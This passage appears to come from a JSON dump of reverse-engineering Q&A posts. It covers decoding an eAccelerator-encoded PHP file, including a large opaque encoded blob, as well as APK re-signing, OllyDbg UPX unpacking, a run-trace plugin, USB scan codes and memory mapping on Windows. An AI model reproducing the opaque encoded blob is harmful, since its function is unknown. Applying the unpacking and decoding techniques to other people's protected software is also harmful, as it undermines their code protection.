<?php\nsession_start();\n?>\n<?php /*This encoded file was generated using PHPCoder (http://phpcoder.sourceforge.net/) and eAccelerator (http://eaccelerator.sourceforge.net/)*/ if (!is_callable(\"eaccelerator_load\") && !@dl(\"eAccelerator.so\")) { die(\"This PHP script has been encoded using the excellent eAccelerator Optimizer, to run it you must install <a href=\\\"http://eaccelerator.sourceforge.net/\\\">eAccelerator or the eLoader</a>\"); }eaccelerator_load('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'); ?>\n
\n", "Title": "Decoding eAccelerator PHP code?", "Tags": "|php|", "Answer": "
\n

how would I go about decoding/decrypting PHP code which is\n encoded/encrypted using eAccelerator?

\n
\n\n

You would have to reverse engineer the eaccelerator_load() function in eAccelerator.

\n\n

Note that this function only exists in older versions of eAccelerator. For example, see here for the function as it existed in version 0.9.4: https://github.com/eaccelerator/eaccelerator/blob/e48010887b429a203bf03c7562e30a4d2bfa07d3/loader.c

\n\n

The first thing the loader does is base64_decode() and gzuncompress() the string. You can see the (mostly plaintext) result of that here: http://ddecode.com/phpdecoder/?results=744654407d52841255a5b54c1d5b402d

\n\n

It looks like restoring that to more readable code will take a bit more work with analyzing the eaccelerator_load() function, but I'm sure you'll be up to the task :)

\n" }, { "Id": "8277", "CreationDate": "2015-02-18T20:51:38.060", "Body": "

i created an android app(simple cocos2d-x project) that in this project i have a method that takes a string and then render it, in initialize state of my app i pass the \"abcde\" as parameter to this method. This works fine in windows and android devices.\nbut when i open SO file that placed in apk and edit any of character of \"abcde\" string and then replace so file with older so in apk file, the apk does't install on android devices.\nI get this error when trying to install the apk : application not installed.

\n\n

anyone can explain me why this happen??

\n", "Title": "Changing .SO files in android cause to damage the apk", "Tags": "|android|decompile|", "Answer": "

Android APKs are signed to ensure the developer (holder of the private key) is the only person who can update the application. When the apk is signed, much like that of a jar file, hashes are taken of all the files.

\n\n

What is likely happening is that you are modifying a file and not resigning the application - this will cause the package manager to reset due to hash mismatches when checking the signatures.

\n" }, { "Id": "8287", "CreationDate": "2015-02-19T16:22:49.723", "Body": "

I was playing around with tutorials/white papers concerning unpacking, specifically UPX. As Olly 2.01 is my debugger of choice, I attempted to unpack an UPX-packed exe with it and to my surprise, it looks as though it fails to break where it should.

\n\n

With Olly 1.10, the execution will stop twice:

\n\n

1) First in ntdll\n\"enter

\n\n

2) Then the well known PUSHAD instruction in the actual module:\n\"enter

\n\n

The JMP visible above will jump to the unpacked code:\n\"enter

\n\n


\nThis is the kind of behavior I'd expect. However, Olly 2.01 with the same settings (break at \"Entry point of main module\") will stop at this jump instead:\n\"enter

\n\n

Which, if followed, will immediately bring us to the unpacked code:\n\"enter

\n\n

Additionally, the bytes preceding the JMP in both cases seem to differ, as do the addresses, suggesting this is actually a different piece of code.

\n\n


\nWhat is happening? Is Olly 2.01 actually \"smarter\", recognizing the packer and stopping at the unpacked OEP? Also, why are the JMPs to unpacked code different (as stated above, different instructions before them and different addresses)?

\n", "Title": "Why does Olly 2.01 fail to break at the module EP?", "Tags": "|ollydbg|upx|entry-point|", "Answer": "
\n

Is Olly 2.01 actually \"smarter\", recognizing the packer and stopping\n at the unpacked OEP?

\n
\n\n

Yes! You can disable it in OllyDbg's options though by going to Debugging \u2192 SFX and unchecking Unpack SFX modules automatically:

\n\n

\"Self-extractable

\n" }, { "Id": "8290", "CreationDate": "2015-02-19T20:37:25.807", "Body": "

In OllyDbg 1.10 it was possible to skip some parts of code when starting run trace(just example):

\n\n

\"enter

\n\n

So when there is some heavy code it was possible to skip to trace only some useful information.

\n\n

I cannot find same \"Run trace -> Skip selection from run trace\" option in OllyDbg 2.01. I cannot find any info on that on the internet too. Does it mean there is no such option in the newer version of the software? How is this possible at all?

\n\n

I need to exclude some heavy code that is always present in the run trace, but I don't need it, and I cannot interact with the application when it records all those lines.

\n\n

update

\n\n

There is an answer that shows some workaround, but this is not exactly what 1.10 has, because in 1.10 you can select the code and just skip it. So I just want confirmation if this functionality was removed from the new version of OllyDbg, or there is some other (but also comfortable, not manual) way to do it.

\n", "Title": "OllyDbg 2.01 Run Trace \"Skip selection option\"", "Tags": "|ollydbg|", "Answer": "

use CTRL + P protocol only the following EIP ranges

\n\n

Add the ranges above and below the block to be skipped

\n\n

the skipped block !

\n\n

\"enter

\n\n

edit

\n\n

no there doesn't seem to be any skip feature looking inside plugin.h i see only MAX 64 (NRTPROT) ranges can be protocolled and the address is defined in t_range the code below can automate putting one range automatically into the dialog box for subsequent ranges you may need to implement logic that checks if selection is within an earlier block or not if yes split that block into pieces code below compilable in vc++ 2010 express

\n\n
#define UNICODE\n#define _CHAR_UNSIGNED\n#include <windows.h>\n#include \"plugin.h\"\n#pragma comment(lib,\"ollydbg.lib\")\n//grab the plugin.h and ollydbg.lib from visual c folder in plugin kit and put them along\n//this cpp file open vs2k10 express ->new -> project from existing code -> Dll ->finish\n// open project properties and disable INCREMENTAL save solution and quit gui\n// open a vs2k10 command prompt and do msbuild /p:configuration=Release \nBOOL WINAPI DllEntryPoint( HINSTANCE,DWORD,LPVOID ) { return 1; };\nint Skiprangefromrtprot( t_table *pt, wchar_t *name, ulong index, int mode ) {\n    if (mode==MENU_VERIFY) { return MENU_NORMAL;\n    } else if ( mode==MENU_EXECUTE) {\n        Resumeallthreads();\n        t_dump *cpudump = Getcpudisasmdump();\n        ulong startsel = cpudump->sel0;\n        ulong endsel = cpudump->sel1;\n        t_module *curmod = Findmodule(startsel);\n        if(curmod != 0) {\n            Addprotocolrange(curmod->base,startsel);\n            Addprotocolrange(endsel,(curmod->base + curmod->size));\n        }\n        Suspendallthreads();\n        return MENU_NOREDRAW;\n    } else {\n        return MENU_ABSENT;\n    }\n};\nt_menu disasmmenu[] = {\n    { L\"|SkipFromRunTrace\", NULL,K_NONE, Skiprangefromrtprot, NULL, 0 },\n    { NULL, NULL,K_NONE, NULL, NULL, 0 }\n};\nextc int __cdecl ODBG2_Pluginquery( int ollydbgversion, ulong *features,\n    wchar_t pluginname[SHORTNAME], wchar_t pluginversion[SHORTNAME] ) {\n        if (ollydbgversion<201)\n            return 0;\n        wcscpy_s( pluginname, SHORTNAME,L\"SkipFromRunTrace\" );\n        wcscpy_s( pluginversion,SHORTNAME, L\"2.00.01\" );\n        return PLUGIN_VERSION;\n};\nextc t_menu * __cdecl ODBG2_Pluginmenu( wchar_t *type ) {\n    if (wcscmp(type,PWM_DISASM)==0)\n        return disasmmenu;\n    return NULL;\n};\n
\n" }, { "Id": "8293", "CreationDate": "2015-02-19T23:10:15.113", "Body": "

I am finalizing the reverse-engineering of a linux driver for the Perixx MX-2000 IIB mouse. One of the features the mouse has is arbitrary button mapping. I can assign a button to produce various keys or mouse buttons. I have recorded a few button assignments available in the Windows driver, and figured out a few myself, but there doesn't seem to be a discernible (to me) pattern to map the whole address space.

\n\n

The keys behave like this: Two bytes control a particular mouse button. I have learned a few keys and modifiers, and will post below. Setting the mouse button to the hex value gives me keyboard output when clicked.

\n\n

keyboard output | hex value
\na | 0x0400
\nb | 0x0500
\nc | 0x0600
\n...
\nz | 0x1D00
\n1 | 0x1E00
\n2 | 0x1F00
\n...
\n9 | 0x2600
\n0 | 0x2700
\nreturn | 0x2800
\nesc | 0x2900
\nbackspace | 0x2A00
\ntab | 0x2B00
\nspace | 0x2C00
\n...
\nVolume Up | 0x8000 (XF86AudioRaiseVolume)
\nVolume Down | 0x8100 (XF86AudioLowerVolume)
\n...

\n\n

I've mapped through 0x8A00 but will spare you the whole table. The interesting things are that thing like XF86 commands appear pretty early, like in 0x6F00 is XF86AudioMicMute, or 0x6600 is the power off key.

\n\n

As for the least significant byte, part of that is modifiers, applied as a mask. Ctl is (1 << 0), shift is (1 << 1), alt is (1 << 2) and super/meta/windows is (1<<3). So this way, shift+a (capital A) is 0x0402. Ctl+Alt+a would be 0x0405. All four modifiers give you 0x0F for the least sig. byte. Playing around with the high nybble of the LSB, say with values like 0x0440 gives me more keys, like XF86Mute. So it seems the address space is massive.

\n\n

On top of this, there are some keys from the windows driver that presented as an entirely different scheme.

\n\n

Output | hex value
\naMouse Scroll up | 0x0143
\nMouse Scroll down | 0xFF43
\nWWW Search | 0x2122
\nWWW Back | 0x2422
\nWWW Forward | 0x2522
\nEmail | 0x8A21
\nInternet Expl Back | 0x8842 (presents as mouse button 8 in X11)
\nIE Forward | 0x9042 (mouse button 9)
\nCalculator | 0x9221
\nMy Computer | 0x9421
\nMute | 0xE220
\nVolume Up | 0xE920
\nVolume Down | 0xEA20

\n\n

And a few mouse buttons:

\n\n

output | hex
\nLeft Click | 0x8142
\nRight Click | 0x8242
\nWheel Click | 0x8442

\n\n

and finally, these are internal mouse commands. They don't register any events on my linux machine, but do change things in the mouse's internal settings

\n\n

action | hex

\n\n

Cycle DPI setting | 0x034A
\nDPI increase | 0x014A
\nDPI decrease | 0x004A
\nCycle mouse profile | 0x074A
\nProfile Up | 0x054A
\nProfile Down | 0x044A

\n\n

And finally there is a special set that looks like 0x0a88 that point internally to macro memory.

\n\n

I can't find any encoding schemes or keyboard mappings that might match this. Alphabetical keys? And If you notice, volume up is both 0x8000 and 0xE920 while vol down is both 0x8100 and 0xEA20. So somewhat of a light at the end of the tunnel that there is a consistent distance between those.

\n\n

But really, I can't figure out a standard mapping this matches. Or any way to figure out all the keys without manually fiddling with the memory and looping through 0x0000 to 0xFFFF and clicking with xev each time.

\n\n

Thoughts? is any of this familiar? or other patterns spotted?

\n\n

edit: All key information I've mapped so far is in this gist including 0x0000 through 0xFF00 (leaving LSByte 0x00). So there is still a massive address space left. And it still makes no sense to me with the extra keys from the windows driver like 0x9421 = XF86Explorer

\n", "Title": "Does anyone recognize this keyboard encoding scheme?", "Tags": "|encodings|driver|", "Answer": "

Those are 16-bit USB keyboard/Keypad scan codes. Please see Keyboard Scan Code Specification for details. Appendix C contains the complete mapping

\n" }, { "Id": "8297", "CreationDate": "2015-02-20T02:02:56.217", "Body": "

I see that inspecting /proc/self/maps on Linux machines lets me see the pages that have been mapped in. As a result I can write a program to read and parse the pages it has mapped in.

\n\n

How could one go about doing something similar for Windows? Are there any APIs for the same? If not, do you have any suggestions on how this could be done? Do you have any references you could link me to?

\n", "Title": "/proc/self/maps equivalent on windows", "Tags": "|windows|linux|virtual-memory|pages|", "Answer": "

VirtualQueryEx() fills a MEMORY_BASIC_INFORMATION record with information about a contiguous range of pages containing the queried address. This can be used to walk the address space of a process, by starting with 0 and then using mbi.BaseAddress + mbi.RegionSize as the next address to query and so on. GetMappedFileName() can give you the name of mapped binaries (mbi.Type == MEM_IMAGE) and mapped files (MEM_MAPPED).

\n\n

Address overflow is an issue when a 32-bit process runs queries on a 64-bit process; it seems that VirtualQueryEx() fails to fail in that situation and instead saturates the field in question (by setting it to 0xFFFFFFFF). However, that is not documented and hence not reliable. Alternative tests are mbi.RegionSize > DWORD_PTR(-1) - mbi.BaseAddress, or next_va <= curr_va when iterating.

\n\n

Results for 32-bit process querying 64-bit notepad.exe:

\n\n
